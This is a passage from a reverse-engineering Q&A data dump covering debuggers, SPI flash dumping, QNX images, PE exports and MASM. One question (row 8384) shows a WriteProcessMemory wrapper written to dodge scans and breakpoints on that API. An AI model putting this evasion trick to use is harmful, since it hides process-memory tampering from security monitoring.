information&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? (char *) @@((403000))&#xA;char * 0x00403000&#xA; &quot;Iczelion's tutorial no.2&quot;&#xA;0:000&amp;gt; ?? (char *) @@((403019))&#xA;char * 0x00403019&#xA; &quot;Win32 Assembly is Great!&quot;&#xA;0:000&amp;gt; ln poi(402008)&#xA;(7e4507ea)   user32!MessageBoxA   |  (7e450838)   user32!MessageBoxExW&#xA;Exact matches:&#xA;    user32!MessageBoxA = &amp;lt;no type information&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-03-01T12:08:25.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8359" PostTypeId="2" ParentId="8355" CreationDate="2015-03-01T22:37:08.530" Score="1" Body="&lt;p&gt;This can be a little awkward from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways this can pan out. In approximate order of lazyness:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You allow the router to provide power and the Bus Pirate attempts to drive the CS, clock, MOSI and reads MISO. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem here will be that you need the master CS and clock to be in a high-impedance state for this to work. Because the master knows it will be driving these signals, this isn't always the case. For power saving purposes though, a lot of masters will let these go high impedance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also rely on the master not responding in anyway to unprompted changes in MISO. If the master sees a change of MISO and responds, you will end up with garbage.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You allow the Bus Pirate to provide power.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sometimes this works when 1 fails. This relies on the circuit somehow isolating the power supply to the memory device from the master of the SPI bus. You end up powering the memory device and not the master. Bigger boards sometimes isolate the power supplies, but often you'll just end up in the same situation as 1.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Hope the device reads the entire useful memory of the device and sniff bus.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Quite a lot of routers using SPI memory for settings or firmware read the entire device sequentially at start-up, or if you issue a command to write settings to the device they will write it out. Alternatively, most devices will eventually read all of the memory addresses they actually need, and you can sniff these and reconstruct the memory.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Cut the power between the memory device and master, use Bus Pirate for power.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sometimes there is a very easy place to cut the power between the memory device and master. You probably want it to be repairable.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Desolder the entire memory device and dump it.&#xA;If all the others fail, you need to do this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-03-01T22:37:08.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8360" PostTypeId="1" CreationDate="2015-03-02T00:49:35.037" Score="0" ViewCount="1526" Body="&lt;p&gt;Simple as that. I have a massive Disassembly, that I want to check for I.P addresses. Since the text search in IDA doesn't seem to have a regex function, I'm not sure the best way to get this done. Perhaps a script? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also realize this may be complicated by the fact that some of the I.P adresses may not exist as strings. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="11624" LastEditDate="2015-04-02T19:31:48.707" LastActivityDate="2015-06-01T20:30:11.127" Title="How would I search an IDA pro database for instances of I.P addresses?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8361" PostTypeId="2" ParentId="8351" CreationDate="2015-03-02T06:27:54.803" Score="0" Body="&lt;p&gt;I think I got the answer from :&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/89607/what-is-a-privileged-instruction&quot;&gt;https://stackoverflow.com/questions/89607/what-is-a-privileged-instruction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary of the answers in that post :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause is probably a corrupted stack or a messed up function pointer call ,this usually happens when using function pointers that point to invalid data. It can also happen if you have code that trashes your return stack or if you are using old compilers/libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy who programmed the exe  may be using a local array and it is near the top of the function declaration. His bounds checking may have gone insane and overwritten the return address and it points to some instruction that only kernel is allowed to execute.&lt;/p&gt;&#xA;" OwnerUserId="11879" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-03-02T06:27:54.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8363" PostTypeId="1" CreationDate="2015-03-02T15:57:48.863" Score="1" ViewCount="1367" Body="&lt;p&gt;I have &lt;em&gt;IDA Pro 6.6&lt;/em&gt;, and I'm trying to &lt;strong&gt;trace read/write access&lt;/strong&gt; to some address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation it is possible, and there are &quot;nice&quot; menu options under &lt;em&gt;Debugger&lt;/em&gt;-&gt;&lt;em&gt;Tracing menu&lt;/em&gt;: &lt;em&gt;&quot;Add write trace&quot;&lt;/em&gt;, &lt;em&gt;&quot;Add read/write trace&quot;&lt;/em&gt;, &lt;em&gt;&quot;Add execution trace&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be happy to try these, but no matter what I've tried all the mentioned menu options are disabled (grayed out). What do I need to do in order to be able to use these options?&lt;/p&gt;&#xA;" OwnerUserId="11882" LastEditorUserId="1413" LastEditDate="2015-03-03T04:17:34.180" LastActivityDate="2015-03-03T04:17:34.180" Title="IDA - Read/Write Tracing" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8364" PostTypeId="2" ParentId="8363" CreationDate="2015-03-02T16:59:58.517" Score="3" Body="&lt;p&gt;Finally I've found: mentioned options are available only from disassembly view, not from hex view. Just place a cursor within disassembly view and right-click menu, as well as main Debugger-&gt;Tracing menu will have these options enabled.&lt;/p&gt;&#xA;" OwnerUserId="11882" LastActivityDate="2015-03-02T16:59:58.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8366" PostTypeId="1" CreationDate="2015-03-02T18:27:48.497" Score="1" ViewCount="226" Body="&lt;p&gt;Some old games have a very simple text encoding in which:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00 = '0'&#xA;0x01 = '1'&#xA;...&#xA;0x09 = '9'&#xA;0x0A = 'A'&#xA;0x0B = 'B'&#xA;0x0C = 'C'&#xA;...&#xA;0x22 = 'Y'&#xA;0x23 = 'Z'&#xA;...&#xA;0xFF = string terminator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figure this encoding must be pretty common due to its extreme simplicity so I was wondering if there's a correct/de facto name for it.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="11886" LastEditDate="2015-03-02T20:27:57.030" LastActivityDate="2015-03-02T20:27:57.030" Title="Name for simple character encoding (where '0' is 0x00; 'A' is 0x0A)?" Tags="|encodings|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8367" PostTypeId="2" ParentId="8360" CreationDate="2015-03-02T22:29:01.017" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Only responds to ping probes from arbitrary hosts&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In that case, reverse engineer the code that calls &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms740120%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;recvfrom()&lt;/code&gt;&lt;/a&gt; to find out how it validates the source IP of the received ping packet.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-02T22:29:01.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8369" PostTypeId="1" AcceptedAnswerId="8370" CreationDate="2015-03-03T15:28:23.607" Score="1" ViewCount="977" Body="&lt;p&gt;I'm currently reversing a function which looks like the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040383F 8D 04 BF          lea     eax, [edi+edi*4]&#xA;.text:00403842 6A 14             push    20&#xA;.text:00403844 C1 E0 03          shl     eax, 3&#xA;.text:00403847 99                cdq&#xA;.text:00403848 59                pop     ecx&#xA;.text:00403849 F7 F9             idiv    ecx&#xA;.text:0040384B 03 45 08          add     eax, [ebp+arg_0]&#xA;.text:0040384E 8A 84 30 C8 31 00+mov     al, [eax+esi+31C8h]&#xA;.text:00403855 32 C3             xor     al, bl&#xA;.text:00403857 88 84 3E 28 27 00+mov     [esi+edi+2728h], al&#xA;.text:0040385E 47                inc     edi&#xA;.text:0040385F 81 FF 07 0B 00 00 cmp     edi, 0B07h&#xA;.text:00403865 75 D8             jnz     short loc_40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I don't have any clue what's going there I wanted to Debug this part with OllyDbg. I want to understand what's inside &lt;strong&gt;al&lt;/strong&gt;, &lt;strong&gt;bl&lt;/strong&gt; and the result of &lt;strong&gt;xor al, bl&lt;/strong&gt; for all &quot;&lt;strong&gt;0B07h&lt;/strong&gt;&quot; steps the loop is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just saw that Immunity provides some sort of scripting functionality. Is it possible to achieve this with a simple python script in Immunity? Maybe there are other ways with OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If EIP == &quot;403855&quot; then print al, bl&#xA;Else go_ahead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1345" LastActivityDate="2015-03-03T15:42:31.173" Title="How to efficiently debug Loops with OllyDbg/Immunity?" Tags="|ollydbg|debugging|immunity-debugger|xor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8370" PostTypeId="2" ParentId="8369" CreationDate="2015-03-03T15:42:31.173" Score="2" Body="&lt;p&gt;No scripting required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg's disassembly window, left-click on line &lt;code&gt;.text:00403855 32 C3             xor     al, bl&lt;/code&gt; to select the line, then right-click on the selected line and choose &lt;code&gt;Breakpoint → Conditional log...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the breakpoint dialog box that opens up, use the following options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRcz0.png&quot; alt=&quot;Conditional log&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;OK&lt;/kbd&gt;, run the program, and every time &lt;code&gt;.text:00403855 32 C3             xor     al, bl&lt;/code&gt; is executed, OllyDbg will print the values of &lt;code&gt;al&lt;/code&gt; and &lt;code&gt;bl&lt;/code&gt; to the log window.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-03T15:42:31.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8371" PostTypeId="1" AcceptedAnswerId="8374" CreationDate="2015-03-03T17:01:31.150" Score="2" ViewCount="251" Body="&lt;p&gt;I've been playing around with recording packets being sent to and from applications on my pc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically any program that sends or receives packets must have the encryption scheme used. So I'd like to try and find this in the code of a test application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise on how to go about doing this? I unsure as to how to identify what lines of code are being called when, and even if I new this I can know exactly when the packets are created exactly. Any link to helpful software, tutorials etc. would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. First time asking on this site, let me know if/how I can improve the question.&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2015-03-03T18:46:32.453" Title="How to locate the code used for encryption" Tags="|decompilation|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8372" PostTypeId="1" AcceptedAnswerId="8375" CreationDate="2015-03-03T18:06:06.727" Score="2" ViewCount="11187" Body="&lt;p&gt;I am currently investigating firmware of an embedded system (car navigation) and have identified the OS as QNX.&lt;/p&gt;&#xA;&lt;p&gt;The firmware has .ifs files which I was able to extract/unpack using QNX &lt;a href=&quot;http://www.qnx.com/developers/docs/660/index.jsp?topic=%2Fcom.qnx.doc.neutrino.user_guide%2Ftopic%2Ffiles_FILEEXTENSIONS.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;dumpifs&lt;/a&gt; tool and .img files. The .img files do not appear to be compressed, is there a file format or dump tool for QNX .img files?&lt;/p&gt;&#xA;&lt;p&gt;/edit: some extra information&#xA;file -sL file.img reports &lt;code&gt;x86 boot sector&lt;/code&gt;&#xA;Mount attempt in Ubuntu &lt;code&gt;mount -t qnx6 ./file.img -o loop/dev/loop1,blocksize=512 /media/qnx&lt;/code&gt; fails with wrong fs type, bad option, bad superblock on /dev/loop1&lt;/p&gt;&#xA;&lt;p&gt;dmesg reports &lt;code&gt;qnx4: wrong fsid in superblock&lt;/code&gt; or &lt;code&gt;qnx6: invalid mount operation&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cat /proc/filesystems&lt;/code&gt; reports both qnx4 and qnx6&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-03-11T21:12:04.377" Title="Unpack QNX .img files" Tags="|qnx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8374" PostTypeId="2" ParentId="8371" CreationDate="2015-03-03T18:46:32.453" Score="2" Body="&lt;p&gt;This question is a bit broad, since it's not asking about a specific program, or a specific network packet you found. A better question would probably be &quot;I have a program that sends network packets, but dumping the packets with wireshark doesn't produce anything readable. I assume the application is encrypting the packets, how can i investigate this&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say &quot;Logically any program that sends or receives packets must have the encryption scheme used&quot;. This isn't true - your Web browser, FTP client, and many other programs send everything unencrypted. Unless you're using https in your browser, of course, and there's a lot of documentation about how that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's assume you have a program, dump the network packets, and assume they're encrypted. So you'd like to know if there's any encryption code in your application. This is what &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow&quot;&gt;signsrch&lt;/a&gt; is for; it detects if your program contains any constants that are used in standard encryption schemes like AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you'll want a debugger like &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow&quot;&gt;Ollydbg&lt;/a&gt;, or even &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt;, to further analyze the program. There are tons of tutorials out there that show how to use them. However, i won't recommend a specific one, since what is good for you depends very much on how much you know already - any recommendation would be very opinion-based, and we don't like opinion based answers on Stackexchange.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-03T18:46:32.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8375" PostTypeId="2" ParentId="8372" CreationDate="2015-03-03T21:33:08.853" Score="2" Body="&lt;p&gt;Last time I worked with .img file it was image of qnx6 file system.&#xA;I using linux with installed qnx6 drivers, so mount -t qnx6 works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you can download QNX sample virtual machine from qnx.com/download/index.html ,run it, mount img using standard qnx command line tools and scp it outside.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-03-04T08:39:10.570" LastActivityDate="2015-03-04T08:39:10.570" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8379" PostTypeId="1" AcceptedAnswerId="8380" CreationDate="2015-03-04T13:01:10.817" Score="4" ViewCount="1612" Body="&lt;p&gt;I don't understand one thing in the export data directory of PE files.&lt;/p&gt;&#xA;&lt;p&gt;The documentation says that there is a set count of exports (let's name it &lt;code&gt;ExportCount&lt;/code&gt;, first row of following table) and another count of names/ordinals (name it &lt;code&gt;NameCount&lt;/code&gt;, second row in following table). I read it like that the count of export names is the same as the ordinal indices count. At least that's what &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;their documentation&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcSxK.png&quot; alt=&quot;Microsoft Documentation&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried parsing a Win8.1.1 x64 Shell32.dll, and I get different results compared to Dependency Walker. I have 933 as &lt;code&gt;ExportCount&lt;/code&gt; and 354 as &lt;code&gt;NameCount&lt;/code&gt;. So there should be 933 exports in total, with only 354 having an ordinal and/or name. Don't ask me how you would import the remaining 579 exports, as that's what I don't understand.&lt;/p&gt;&#xA;&lt;p&gt;If I open Shell32 in Dependency Walker, it first lists &lt;code&gt;NameCount&lt;/code&gt; exports with a name and ordinal, but then it shows the remaining amount of &lt;code&gt;ExportCount - NameCount&lt;/code&gt; exports which surprisingly &lt;em&gt;do&lt;/em&gt; have ordinals (starting at the blue line here):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rKVrl.png&quot; alt=&quot;Dependency Walker&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To me, this doesn't make any sense according to the documentation. I tried to read &lt;code&gt;ExportCount&lt;/code&gt; ordinals instead of only &lt;code&gt;NameCount&lt;/code&gt; ones in sequence, but only rubbish comes out.&lt;/p&gt;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the documentation wrong / incomplete?&lt;/li&gt;&#xA;&lt;li&gt;Am I understanding something wrong in the documentation?&lt;/li&gt;&#xA;&lt;li&gt;How to get the remaining ordinals like Dependency Walker does it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2021-01-08T15:25:43.300" LastActivityDate="2021-01-08T15:25:43.300" Title="Are there exports with neither ordinal nor name or am I not understanding the PE documentation?" Tags="|windows|pe|file-format|executable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8380" PostTypeId="2" ParentId="8379" CreationDate="2015-03-04T13:34:58.163" Score="3" Body="&lt;p&gt;If i understand &lt;a href=&quot;http://win32assembly.programminghorizon.com/pe-tut7.html&quot; rel=&quot;nofollow&quot;&gt;http://win32assembly.programminghorizon.com/pe-tut7.html&lt;/a&gt; correctly, the ordinal table lists &lt;em&gt;only&lt;/em&gt; the number of exports that actually have a name. So, your program might have the following exports:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n  name            address&#xA;0  funca           12345678&#xA;1  -- no name --   9abcdef0&#xA;2  funcb           76543210&#xA;3  -- no name --   fedcba98&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would result in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address table entries   = 4&#xA;number of name pointers = 2&#xA;export address table    = [ 12345678, 9abcdef0, 76543210, fedcba98 ]&#xA;name pointer table      = [ funca, funcb ]&#xA;ordinal table           = [ 0, 2 ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a 1:1 match between name pointer entries and ordinal table entries, which is why the number of name pointers equals both array sizes. But both tables list only the functions exported by name; exports that are by ordinal only don't appear in either of them. They still appear in the export address table, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you want a better/more precise answer, you'll have to wait for Jason Geffner, he's an astonishing source of information for this kind of thing).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-04T13:34:58.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8381" PostTypeId="2" ParentId="8379" CreationDate="2015-03-04T18:15:01.253" Score="3" Body="&lt;p&gt;The documentation is correct. Items can be exported by either name or ordinal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For export by name, the ordinal table is used to locate the address in the export table.  The index of the name within the Name table is the index of the ordinal within the Ordinal table.  The value of the ordinal in the Ordinal table is the index into the Address table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For export by ordinal, the value of the ordinal is used to index directly into the Address table (so it is entirely possible to have no names at all, yet many exports).  There is no entry in the ordinal table.  For obvious reasons, export by ordinal is not recommended unless there is an agreement that such exports can never move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a peculiar edge case, the ExportCount can appear to be higher than the number of exports, until you subtract the Ordinal base.  For example, if I create a DLL with two exports, and whose OrdinalBase is -1, my ExportCount will appear to be 4.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-03-04T18:15:01.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8382" PostTypeId="1" AcceptedAnswerId="8383" CreationDate="2015-03-04T19:03:09.403" Score="2" ViewCount="2572" Body="&lt;p&gt;I'm trying to create a demo program demonstrating struct(s) in MASM ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a code like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct1 struct&#xA;first db ?&#xA;second dw ?&#xA;struct1 EndS&#xA;&#xA;.386&#xA;.model flat,stdcall&#xA;option casemap:none&#xA;&#xA;include \masm32\include\windows.inc ; holds predifned structures&#xA;&#xA;include \masm32\include\kernel32.inc &#xA;include \masm32\include\user32.inc&#xA;&#xA;includelib \masm32\lib\kernel32.lib&#xA;includelib \masm32\lib\user32.lib&#xA;&#xA;.data&#xA;MessageTitle  db &quot;The title&quot;,0&#xA;MessageText   db &quot;The first program which shows simple messagebox&quot;,0&#xA;&#xA;&#xA;.code&#xA;start:&#xA;&#xA;Initializedstructure struct1 &amp;lt;'A',1024&amp;gt;&#xA;;invoke MessageBox, NULL, addr MessageText, addr MessageTitle, MB_OK&#xA;mov eax, struct1.first &#xA;;invoke ExitProcess, NULL&#xA;end start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I disassembled the program I found some kind of instructions that&#xA; not sensible for initializing the structure of the program :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401000 start:&#xA;.text:00401000                 inc     ecx&#xA;.text:00401001                 add     [eax+edi*4], al&#xA;.text:00401001 ; ---------------------------------------------------------------------------&#xA;.text:00401004                 dd 7Fh dup(0)&#xA;.text:00401200                 dd 380h dup(?)&#xA;.text:00401200 _text           ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why MASM assembled the code like this ? I think I've made some mistake in the code,haven't I? I think there's no well-explained document about it ...&lt;/p&gt;&#xA;" OwnerUserId="10428" LastActivityDate="2017-05-23T10:11:18.913" Title="Initializing a struct in win32 assembly programming using MASM" Tags="|windows|disassemblers|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8383" PostTypeId="2" ParentId="8382" CreationDate="2015-03-04T19:12:16.827" Score="2" Body="&lt;p&gt;You need to have &lt;code&gt;Initializedstructure struct1 &amp;lt;'A',1024&amp;gt;&lt;/code&gt; in your &lt;code&gt;.data&lt;/code&gt; segment, not in your &lt;code&gt;.code&lt;/code&gt; segment.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-04T19:12:16.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8384" PostTypeId="1" AcceptedAnswerId="8391" CreationDate="2015-03-04T22:01:56.210" Score="2" ViewCount="1228" Body="&lt;p&gt;Someone said to do something like this to avoid scans for WPM calls: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(naked) BOOL WINAPI SafeWriteProcessMemory(HANDLE hProcess,&#xA;    LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize,&#xA;    SIZE_T *lpNumberOfBytesRead)&#xA;{&#xA;    __asm&#xA;    {&#xA;            mov edi, edi&#xA;            push ebp&#xA;            mov ebp, esp&#xA;            pop ebp&#xA;            mov eax, WriteProcessMemory&#xA;            add eax, 6&#xA;            jmp eax&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put it in a program and debugged it in olly. I looked at &lt;code&gt;kernel32.WriteProcessMemory&lt;/code&gt;. We're using the &lt;code&gt;add eax, 6&lt;/code&gt; to jump from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDI,EDI                              ; BOOL kernel32.WriteProcessMemory(hProcess, ...)&#xA;PUSH EBP&#xA;MOV EBP,ESP&#xA;POP EBP&#xA;JMP &amp;lt;JMP.&amp;amp;API-MS-Win-Core-Memory-L1-1-0. ; Jump to KERNELBASE.WriteProcessMemory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To there. Effectively skipping over the instructions between the two. We're executing those instructions in our own call. But I don't understand why those instructions are being executed. We're pushing &lt;code&gt;EBP&lt;/code&gt; onto the stack, moving &lt;code&gt;ESP&lt;/code&gt; into &lt;code&gt;EBP&lt;/code&gt;, then restoring &lt;code&gt;EBP&lt;/code&gt; from the stack. That shouldn't actually be doing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I debugged it instruction-by-instruction, and still can't figure out why it's being done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it have something to do with Windows' useless &lt;code&gt;mov edi,edi&lt;/code&gt;s at the beginning of functions to allow jump patching?&lt;/p&gt;&#xA;" OwnerUserId="11906" LastActivityDate="2015-03-05T17:27:26.760" Title="Why does WriteProcessMemory in kernel32.dll do this? (ASM)" Tags="|windows|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8385" PostTypeId="2" ParentId="8384" CreationDate="2015-03-04T22:06:39.717" Score="3" Body="&lt;p&gt;The intention was likely to cause breakpoints set on the first instruction of &lt;code&gt;WriteProcessMemory()&lt;/code&gt; to not fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is a very unsafe approach and is prone to breaking should the prologue of the API function change.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-04T22:06:39.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8387" PostTypeId="1" CreationDate="2015-03-05T14:13:27.830" Score="1" ViewCount="543" Body="&lt;p&gt;Due to the following topic,&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8382/initializing-a-struct-in-win32-assembly-programming-using-masm&quot;&gt;Initializing a struct in win32 assembly programming using MASM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to correct my mistakes, So I tried the following code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.386&#xA;.model flat,stdcall&#xA;option casemap:none&#xA;&#xA;struct1 struct&#xA;first db ?&#xA;second dd ?&#xA;third db ?&#xA;struct1 EndS&#xA;&#xA;.data&#xA;Initializedstructure struct1 &amp;lt;4,10&amp;gt;&#xA;&#xA;.code&#xA;start:&#xA;mov eax, struct1.first&#xA;mov ebx , struct1.second&#xA;mov ecx , struct1.third&#xA;;offsets&#xA;mov eax , offset struct1.first&#xA;mov ebx , offset struct1.second&#xA;mov ecx , offset struct1.third&#xA;end start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on the disassembled code didn't find any thing. I added the offset of each struct's member to distinguish the differences between the two.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401000 start:&#xA;.text:00401000                 mov     eax, 0&#xA;.text:00401005                 mov     ebx, 1&#xA;.text:0040100A                 mov     ecx, 5&#xA;.text:0040100F                 mov     eax, 0&#xA;.text:00401014                 mov     ebx, 1&#xA;.text:00401019                 mov     ecx, 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've surfed the net but didn't find any documentation describing the use of structs well, so I decided to try it by myself.&#xA;The disassembled code seems,it holds the size of each struct's member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main question is how to use the members of the struct within the code?&lt;/p&gt;&#xA;" OwnerUserId="10428" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-11-01T00:21:02.163" Title="Using members of a struct in Win32 (MASM)" Tags="|disassembly|windows|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
